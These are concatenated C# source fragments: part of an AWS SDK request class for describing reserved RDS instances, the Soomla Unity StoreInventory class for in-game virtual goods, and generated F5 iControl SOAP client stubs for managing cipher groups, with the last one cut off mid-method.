// Check to see if Marker property is set
internal bool IsSetMarker()
{
return this._marker != null;
}
/// <summary>
/// Gets and sets the property MaxRecords.
/// <para>
/// The maximum number of records to include in the response. If more than the <code>MaxRecords</code>
/// value is available, a pagination token called a marker is included in the response
/// so that the following results can be retrieved.
/// </para>
///
/// <para>
/// Default: 100
/// </para>
///
/// <para>
/// Constraints: Minimum 20, maximum 100.
/// </para>
/// </summary>
public int MaxRecords
{
get { return this._maxRecords.GetValueOrDefault(); }
set { this._maxRecords = value; }
}
// Check to see if MaxRecords property is set
internal bool IsSetMaxRecords()
{
return this._maxRecords.HasValue;
}
/// <summary>
/// Gets and sets the property MultiAZ.
/// <para>
/// The Multi-AZ filter value. Specify this parameter to show only those reservations
/// matching the specified Multi-AZ parameter.
/// </para>
/// </summary>
public bool MultiAZ
{
get { return this._multiAZ.GetValueOrDefault(); }
set { this._multiAZ = value; }
}
// Check to see if MultiAZ property is set
internal bool IsSetMultiAZ()
{
return this._multiAZ.HasValue;
}
/// <summary>
/// Gets and sets the property OfferingType.
/// <para>
/// The offering type filter value. Specify this parameter to show only the available
/// offerings matching the specified offering type.
/// </para>
///
/// <para>
/// Valid Values: <code>"Partial Upfront" | "All Upfront" | "No Upfront" </code>
/// </para>
/// </summary>
public string OfferingType
{
get { return this._offeringType; }
set { this._offeringType = value; }
}
// Check to see if OfferingType property is set
internal bool IsSetOfferingType()
{
return this._offeringType != null;
}
/// <summary>
/// Gets and sets the property ProductDescription.
/// <para>
/// The product description filter value. Specify this parameter to show only those reservations
/// matching the specified product description.
/// </para>
/// </summary>
public string ProductDescription
{
get { return this._productDescription; }
set { this._productDescription = value; }
}
// Check to see if ProductDescription property is set
internal bool IsSetProductDescription()
{
return this._productDescription != null;
}
/// <summary>
/// Gets and sets the property ReservedDBInstanceId.
/// <para>
/// The reserved DB instance identifier filter value. Specify this parameter to show
/// only the reservation that matches the specified reservation ID.
/// </para>
/// </summary>
public string ReservedDBInstanceId
{
get { return this._reservedDBInstanceId; }
set { this._reservedDBInstanceId = value; }
}
// Check to see if ReservedDBInstanceId property is set
internal bool IsSetReservedDBInstanceId()
{
return this._reservedDBInstanceId != null;
}
/// <summary>
/// Gets and sets the property ReservedDBInstancesOfferingId.
/// <para>
/// The offering identifier filter value. Specify this parameter to show only purchased
/// reservations matching the specified offering identifier.
/// </para>
/// </summary>
public string ReservedDBInstancesOfferingId
{
get { return this._reservedDBInstancesOfferingId; }
set { this._reservedDBInstancesOfferingId = value; }
}
// Check to see if ReservedDBInstancesOfferingId property is set
internal bool IsSetReservedDBInstancesOfferingId()
{
return this._reservedDBInstancesOfferingId != null;
}
}
}
| |
/// Copyright (C) 2012-2014 Soomla Inc.
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
using UnityEngine;
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
namespace Soomla.Store
{
/// <summary>
/// This class will help you do your day to day virtual economy operations easily.
/// You can give or take items from your users. You can buy items or upgrade them.
/// You can also check their equipping status and change it.
/// </summary>
public class StoreInventory
{
protected const string TAG = "SOOMLA StoreInventory";
/// <summary>
/// Checks if there is enough funds to afford <c>itemId</c>.
/// </summary>
/// <param name="itemId">id of item to be checked</param>
/// <returns>True if there are enough funds to afford the virtual item with the given item id </returns>
public static bool CanAfford(string itemId) {
SoomlaUtils.LogDebug(TAG, "Checking can afford: " + itemId);
PurchasableVirtualItem pvi = (PurchasableVirtualItem) StoreInfo.GetItemByItemId(itemId);
return pvi.CanAfford();
}
/// <summary>
/// Buys the item with the given <c>itemId</c>.
/// </summary>
/// <param name="itemId">id of item to be bought</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item to be bought is not found.</exception>
/// <exception cref="InsufficientFundsException">Thrown if the user does not have enough funds.</exception>
public static void BuyItem(string itemId) {
BuyItem(itemId, "");
}
/// <summary>
/// Buys the item with the given <c>itemId</c>.
/// </summary>
/// <param name="itemId">id of item to be bought</param>
/// <param name="payload">a string you want to be assigned to the purchase. This string
/// is saved in a static variable and will be given bacl to you when the purchase is completed.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item to be bought is not found.</exception>
/// <exception cref="InsufficientFundsException">Thrown if the user does not have enough funds.</exception>
public static void BuyItem(string itemId, string payload) {
SoomlaUtils.LogDebug(TAG, "Buying: " + itemId);
PurchasableVirtualItem pvi = (PurchasableVirtualItem) StoreInfo.GetItemByItemId(itemId);
pvi.Buy(payload);
}
/// <summary>
/// Retrieves the balance of the virtual item with the given <c>itemId</c>.
/// </summary>
/// <param name="itemId">Id of the virtual item to be fetched.</param>
/// <returns>Balance of the virtual item with the given item id.</returns>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static int GetItemBalance(string itemId) {
int amount;
if (localItemBalances.TryGetValue(itemId, out amount)) {
return amount;
}
VirtualItem item = StoreInfo.GetItemByItemId(itemId);
return item.GetBalance();
}
/** VIRTUAL ITEMS **/
/// <summary>
/// Gives your user the given amount of the virtual item with the given <c>itemId</c>.
/// For example, when your user plays your game for the first time you GIVE him/her 1000 gems.
///
/// NOTE: This action is different than buy -
/// You use <c>give(int amount)</c> to give your user something for free.
/// You use <c>buy()</c> to give your user something and you get something in return.
/// </summary>
/// <param name="itemId">Id of the item to be given.</param>
/// <param name="amount">Amount of the item to be given.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static void GiveItem(string itemId, int amount) {
SoomlaUtils.LogDebug(TAG, "Giving: " + amount + " pieces of: " + itemId);
VirtualItem item = StoreInfo.GetItemByItemId(itemId);
item.Give(amount);
}
/// <summary>
/// Takes from your user the given amount of the virtual item with the given <c>itemId</c>.
/// For example, when your user requests a refund, you need to TAKE the item he/she is returning from him/her.
/// </summary>
/// <param name="itemId">Item identifier.</param>
/// <param name="amount">Amount.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static void TakeItem(string itemId, int amount) {
SoomlaUtils.LogDebug(TAG, "Taking: " + amount + " pieces of: " + itemId);
VirtualItem item = StoreInfo.GetItemByItemId(itemId);
item.Take(amount);
}
/// <summary>
/// Equips the virtual good with the given <c>goodItemId</c>.
/// Equipping means that the user decides to currently use a specific virtual good.
/// For more details and examples <see cref="com.soomla.store.domain.virtualGoods.EquippableVG"/>.
/// </summary>
/// <param name="goodItemId">Id of the good to be equipped.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
/// <exception cref="NotEnoughGoodsException"></exception>
public static void EquipVirtualGood(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "Equipping: " + goodItemId);
EquippableVG good = (EquippableVG) StoreInfo.GetItemByItemId(goodItemId);
try {
good.Equip();
} catch (NotEnoughGoodsException e) {
SoomlaUtils.LogError(TAG, "UNEXPECTED! Couldn't equip something");
throw e;
}
}
/// <summary>
/// Unequips the virtual good with the given <c>goodItemId</c>. Unequipping means that the
/// user decides to stop using the virtual good he/she is currently using.
/// For more details and examples <see cref="com.soomla.store.domain.virtualGoods.EquippableVG"/>.
/// </summary>
/// <param name="goodItemId">Id of the good to be unequipped.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static void UnEquipVirtualGood(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "UnEquipping: " + goodItemId);
EquippableVG good = (EquippableVG) StoreInfo.GetItemByItemId(goodItemId);
good.Unequip();
}
/// <summary>
/// Checks if the virtual good with the given <c>goodItemId</c> is currently equipped.
/// </summary>
/// <param name="goodItemId">Id of the virtual good who we want to know if is equipped.</param>
/// <returns>True if the virtual good is equipped, false otherwise.</returns>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static bool IsVirtualGoodEquipped(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "Checking if " + goodItemId + " is equipped");
EquippableVG good = (EquippableVG) StoreInfo.GetItemByItemId(goodItemId);
return VirtualGoodsStorage.IsEquipped(good);;
}
/// <summary>
/// Checks currently equipped good in given <c>category</c>
/// </summary>
/// <param name="category">Category we want to check</param>
/// <returns>EquippableVG otherwise null</returns>
public static EquippableVG GetEquippedVirtualGood(VirtualCategory category){
SoomlaUtils.LogDebug(TAG, "Checking equipped goood in " + category.Name + " category");
foreach (string goodItemId in category.GoodItemIds)
{
EquippableVG good = (EquippableVG) StoreInfo.GetItemByItemId(goodItemId);
if (good != null && good.Equipping == EquippableVG.EquippingModel.CATEGORY &&
VirtualGoodsStorage.IsEquipped(good) &&
StoreInfo.GetCategoryForVirtualGood(goodItemId) == category)
return good;
}
SoomlaUtils.LogError(TAG, "There is no virtual good equipped in " + category.Name + " category");
return null;
}
/// <summary>
/// Retrieves the upgrade level of the virtual good with the given <c>goodItemId</c>.
/// For Example:
/// Let's say there's a strength attribute to one of the characters in your game and you provide
/// your users with the ability to upgrade that strength on a scale of 1-3.
/// This is what you've created:
/// 1. <c>SingleUseVG</c> for "strength".
/// 2. <c>UpgradeVG</c> for strength 'level 1'.
/// 3. <c>UpgradeVG</c> for strength 'level 2'.
/// 4. <c>UpgradeVG</c> for strength 'level 3'.
/// In the example, this function will retrieve the upgrade level for "strength" (1, 2, or 3).
/// </summary>
/// <param name="goodItemId">Good item identifier.</param>
/// <returns>The good upgrade level.</returns>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static int GetGoodUpgradeLevel(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "Checking " + goodItemId + " upgrade level");
VirtualGood good = (VirtualGood) StoreInfo.GetItemByItemId(goodItemId);
if (good == null) {
SoomlaUtils.LogError(TAG, "You tried to get the level of a non-existant virtual good.");
return 0;
}
UpgradeVG upgradeVG = VirtualGoodsStorage.GetCurrentUpgrade(good);
if (upgradeVG == null) {
return 0; //no upgrade
}
UpgradeVG first = StoreInfo.GetFirstUpgradeForVirtualGood(goodItemId);
int level = 1;
while (first.ItemId != upgradeVG.ItemId) {
first = (UpgradeVG) StoreInfo.GetItemByItemId(first.NextItemId);
level++;
}
return level;
}
/// <summary>
/// Retrieves the current upgrade of the good with the given id.
/// </summary>
/// <param name="goodItemId">Id of the good whose upgrade we want to fetch. </param>
/// <returns>The good's current upgrade.</returns>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static string GetGoodCurrentUpgrade(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "Checking " + goodItemId + " current upgrade");
VirtualGood good = (VirtualGood) StoreInfo.GetItemByItemId(goodItemId);
UpgradeVG upgradeVG = VirtualGoodsStorage.GetCurrentUpgrade(good);
if (upgradeVG == null) {
return "";
}
return upgradeVG.ItemId;
}
/// <summary>
/// Upgrades the virtual good with the given <c>goodItemId</c> by doing the following:
/// 1. Checks if the good is currently upgraded or if this is the first time being upgraded.
/// 2. If the good is currently upgraded, upgrades to the next upgrade in the series.
/// In case there are no more upgrades available(meaning the current upgrade is the last available),
/// the function returns.
/// 3. If the good has never been upgraded before, the function upgrades it to the first
/// available upgrade with the first upgrade of the series.
/// </summary>
/// <param name="goodItemId">Good item identifier.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static void UpgradeGood(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "SOOMLA/UNITY Calling UpgradeGood with: " + goodItemId);
VirtualGood good = (VirtualGood) StoreInfo.GetItemByItemId(goodItemId);
UpgradeVG upgradeVG = VirtualGoodsStorage.GetCurrentUpgrade(good);
if (upgradeVG != null) {
String nextItemId = upgradeVG.NextItemId;
if (string.IsNullOrEmpty(nextItemId)) {
return;
}
UpgradeVG vgu = (UpgradeVG) StoreInfo.GetItemByItemId(nextItemId);
vgu.Buy("");
} else {
UpgradeVG first = StoreInfo.GetFirstUpgradeForVirtualGood(goodItemId);
if (first != null) {
first.Buy("");
}
}
}
/// <summary>
/// Removes all upgrades from the virtual good with the given <c>goodItemId</c>.
/// </summary>
/// <param name="goodItemId">Id of the good whose upgrades are to be removed.</param>
/// <exception cref="VirtualItemNotFoundException">Thrown if the item is not found.</exception>
public static void RemoveGoodUpgrades(string goodItemId) {
SoomlaUtils.LogDebug(TAG, "SOOMLA/UNITY Calling RemoveGoodUpgrades with: " + goodItemId);
List<UpgradeVG> upgrades = StoreInfo.GetUpgradesForVirtualGood(goodItemId);
foreach (UpgradeVG upgrade in upgrades) {
VirtualGoodsStorage.Remove(upgrade, 1, true);
}
VirtualGood good = (VirtualGood) StoreInfo.GetItemByItemId(goodItemId);
VirtualGoodsStorage.RemoveUpgrades(good);
}
/// <summary>
/// This function refreshes a local set of objects that will hold your user's balances in memory for quick
/// and more efficient fetching for your game UI.
/// This way, we save many JNI or static calls to native platforms.
///
/// NOTE: You don't need to call this function as it's automatically called when the game initializes.
/// NOTE: This is less useful when you work in editor.
/// </summary>
public static void RefreshLocalInventory() {
SoomlaUtils.LogDebug(TAG, "Refreshing local inventory");
localItemBalances = new Dictionary<string, int> ();
localUpgrades = new Dictionary<string, LocalUpgrade>();
localEquippedGoods = new HashSet<string>();
foreach(VirtualCurrency item in StoreInfo.Currencies){
localItemBalances[item.ItemId] = VirtualCurrencyStorage.GetBalance(item);
}
foreach(VirtualGood item in StoreInfo.Goods){
localItemBalances[item.ItemId] = VirtualGoodsStorage.GetBalance(item);
UpgradeVG upgrade = VirtualGoodsStorage.GetCurrentUpgrade(item);
if (upgrade != null) {
int upgradeLevel = GetGoodUpgradeLevel(item.ItemId);
localUpgrades.AddOrUpdate(item.ItemId, new LocalUpgrade { itemId = upgrade.ItemId, level = upgradeLevel });
}
if (item is EquippableVG) {
if (VirtualGoodsStorage.IsEquipped((EquippableVG)item)) {
localEquippedGoods.Add(item.ItemId);
}
}
}
}
/** A set of private functions to refresh the local inventory whenever there are changes on runtime. **/
public static void RefreshOnGoodUpgrade(VirtualGood vg, UpgradeVG uvg) {
if (uvg == null) {
localUpgrades.Remove(vg.ItemId);
} else {
int upgradeLevel = GetGoodUpgradeLevel(vg.ItemId);
LocalUpgrade upgrade;
if (localUpgrades.TryGetValue(vg.ItemId, out upgrade)) {
upgrade.itemId = uvg.ItemId;
upgrade.level = upgradeLevel;
} else {
localUpgrades.Add(vg.ItemId, new LocalUpgrade { itemId = uvg.ItemId, level = upgradeLevel });
}
}
}
public static void RefreshOnGoodEquipped(EquippableVG equippable) {
localEquippedGoods.Add(equippable.ItemId);
}
public static void RefreshOnGoodUnEquipped(EquippableVG equippable) {
localEquippedGoods.Remove(equippable.ItemId);
}
public static void RefreshOnCurrencyBalanceChanged(VirtualCurrency virtualCurrency, int balance, int amountAdded) {
UpdateLocalBalance(virtualCurrency.ItemId, balance);
}
public static void RefreshOnGoodBalanceChanged(VirtualGood good, int balance, int amountAdded) {
UpdateLocalBalance(good.ItemId, balance);
}
private static void UpdateLocalBalance(string itemId, int balance) {
localItemBalances[itemId] = balance;
}
/** Private local balances **/
private class LocalUpgrade {
public int level;
public string itemId;
}
private static Dictionary<string, int> localItemBalances = null;
private static Dictionary<string, LocalUpgrade> localUpgrades = null;
private static HashSet<string> localEquippedGoods = null;
}
}
| |
namespace iControl {
using System.Xml.Serialization;
using System.Web.Services;
using System.ComponentModel;
using System.Web.Services.Protocols;
using System;
using System.Diagnostics;
/// <remarks/>
[System.CodeDom.Compiler.GeneratedCodeAttribute("wsdl", "2.0.50727.3038")]
[System.Diagnostics.DebuggerStepThroughAttribute()]
[System.ComponentModel.DesignerCategoryAttribute("code")]
[System.Web.Services.WebServiceBindingAttribute(Name="LocalLB.CipherGroupBinding", Namespace="urn:iControl")]
public partial class LocalLBCipherGroup : iControlInterface {
public LocalLBCipherGroup() {
this.Url = "https://url_to_service";
}
//=======================================================================
// Operations
//=======================================================================
//-----------------------------------------------------------------------
// add_allow
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void add_allow(
string [] groups,
string [] [] rules
) {
this.Invoke("add_allow", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginadd_allow(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("add_allow", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endadd_allow(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// add_exclude
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void add_exclude(
string [] groups,
string [] [] rules
) {
this.Invoke("add_exclude", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginadd_exclude(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("add_exclude", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endadd_exclude(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// add_require
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void add_require(
string [] groups,
string [] [] rules
) {
this.Invoke("add_require", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginadd_require(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("add_require", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endadd_require(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// create
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void create(
string [] groups,
string [] [] allows,
string [] [] excludes,
string [] [] requires,
LocalLBCipherGroupCipherGroupOrder [] orders
) {
this.Invoke("create", new object [] {
groups,
allows,
excludes,
requires,
orders});
}
public System.IAsyncResult Begincreate(string [] groups,string [] [] allows,string [] [] excludes,string [] [] requires,LocalLBCipherGroupCipherGroupOrder [] orders, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("create", new object[] {
groups,
allows,
excludes,
requires,
orders}, callback, asyncState);
}
public void Endcreate(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// delete_all_cipher_groups
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void delete_all_cipher_groups(
) {
this.Invoke("delete_all_cipher_groups", new object [0]);
}
public System.IAsyncResult Begindelete_all_cipher_groups(System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("delete_all_cipher_groups", new object[0], callback, asyncState);
}
public void Enddelete_all_cipher_groups(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// delete_cipher_group
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void delete_cipher_group(
string [] groups
) {
this.Invoke("delete_cipher_group", new object [] {
groups});
}
public System.IAsyncResult Begindelete_cipher_group(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("delete_cipher_group", new object[] {
groups}, callback, asyncState);
}
public void Enddelete_cipher_group(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// get_allow
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] [] get_allow(
string [] groups
) {
object [] results = this.Invoke("get_allow", new object [] {
groups});
return ((string [] [])(results[0]));
}
public System.IAsyncResult Beginget_allow(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_allow", new object[] {
groups}, callback, asyncState);
}
public string [] [] Endget_allow(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [] [])(results[0]));
}
//-----------------------------------------------------------------------
// get_description
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] get_description(
string [] groups
) {
object [] results = this.Invoke("get_description", new object [] {
groups});
return ((string [])(results[0]));
}
public System.IAsyncResult Beginget_description(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_description", new object[] {
groups}, callback, asyncState);
}
public string [] Endget_description(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [])(results[0]));
}
//-----------------------------------------------------------------------
// get_exclude
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] [] get_exclude(
string [] groups
) {
object [] results = this.Invoke("get_exclude", new object [] {
groups});
return ((string [] [])(results[0]));
}
public System.IAsyncResult Beginget_exclude(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_exclude", new object[] {
groups}, callback, asyncState);
}
public string [] [] Endget_exclude(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [] [])(results[0]));
}
//-----------------------------------------------------------------------
// get_list
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] get_list(
) {
object [] results = this.Invoke("get_list", new object [0]);
return ((string [])(results[0]));
}
public System.IAsyncResult Beginget_list(System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_list", new object[0], callback, asyncState);
}
public string [] Endget_list(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [])(results[0]));
}
//-----------------------------------------------------------------------
// get_order
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public LocalLBCipherGroupCipherGroupOrder [] get_order(
string [] groups
) {
object [] results = this.Invoke("get_order", new object [] {
groups});
return ((LocalLBCipherGroupCipherGroupOrder [])(results[0]));
}
public System.IAsyncResult Beginget_order(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_order", new object[] {
groups}, callback, asyncState);
}
public LocalLBCipherGroupCipherGroupOrder [] Endget_order(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((LocalLBCipherGroupCipherGroupOrder [])(results[0]));
}
//-----------------------------------------------------------------------
// get_require
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] [] get_require(
string [] groups
) {
object [] results = this.Invoke("get_require", new object [] {
groups});
return ((string [] [])(results[0]));
}
public System.IAsyncResult Beginget_require(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_require", new object[] {
groups}, callback, asyncState);
}
public string [] [] Endget_require(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [] [])(results[0]));
}
//-----------------------------------------------------------------------
// get_result_list
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string [] get_result_list(
string [] groups
) {
object [] results = this.Invoke("get_result_list", new object [] {
groups});
return ((string [])(results[0]));
}
public System.IAsyncResult Beginget_result_list(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_result_list", new object[] {
groups}, callback, asyncState);
}
public string [] Endget_result_list(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string [])(results[0]));
}
//-----------------------------------------------------------------------
// get_version
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
[return: System.Xml.Serialization.SoapElementAttribute("return")]
public string get_version(
) {
object [] results = this.Invoke("get_version", new object [] {
});
return ((string)(results[0]));
}
public System.IAsyncResult Beginget_version(System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("get_version", new object[] {
}, callback, asyncState);
}
public string Endget_version(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
return ((string)(results[0]));
}
//-----------------------------------------------------------------------
// remove_all_excludes
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void remove_all_excludes(
string [] groups
) {
this.Invoke("remove_all_excludes", new object [] {
groups});
}
public System.IAsyncResult Beginremove_all_excludes(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("remove_all_excludes", new object[] {
groups}, callback, asyncState);
}
public void Endremove_all_excludes(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// remove_all_requires
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void remove_all_requires(
string [] groups
) {
this.Invoke("remove_all_requires", new object [] {
groups});
}
public System.IAsyncResult Beginremove_all_requires(string [] groups, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("remove_all_requires", new object[] {
groups}, callback, asyncState);
}
public void Endremove_all_requires(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// remove_allow
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void remove_allow(
string [] groups,
string [] [] rules
) {
this.Invoke("remove_allow", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginremove_allow(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("remove_allow", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endremove_allow(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// remove_exclude
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void remove_exclude(
string [] groups,
string [] [] rules
) {
this.Invoke("remove_exclude", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginremove_exclude(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("remove_exclude", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endremove_exclude(System.IAsyncResult asyncResult) {
object [] results = this.EndInvoke(asyncResult);
}
//-----------------------------------------------------------------------
// remove_require
//-----------------------------------------------------------------------
[System.Web.Services.Protocols.SoapRpcMethodAttribute("urn:iControl:LocalLB/CipherGroup",
RequestNamespace="urn:iControl:LocalLB/CipherGroup", ResponseNamespace="urn:iControl:LocalLB/CipherGroup")]
public void remove_require(
string [] groups,
string [] [] rules
) {
this.Invoke("remove_require", new object [] {
groups,
rules});
}
public System.IAsyncResult Beginremove_require(string [] groups,string [] [] rules, System.AsyncCallback callback, object asyncState) {
return this.BeginInvoke("remove_require", new object[] {
groups,
rules}, callback, asyncState);
}
public void Endremove_require(System.IAsyncResult asyncResult) {
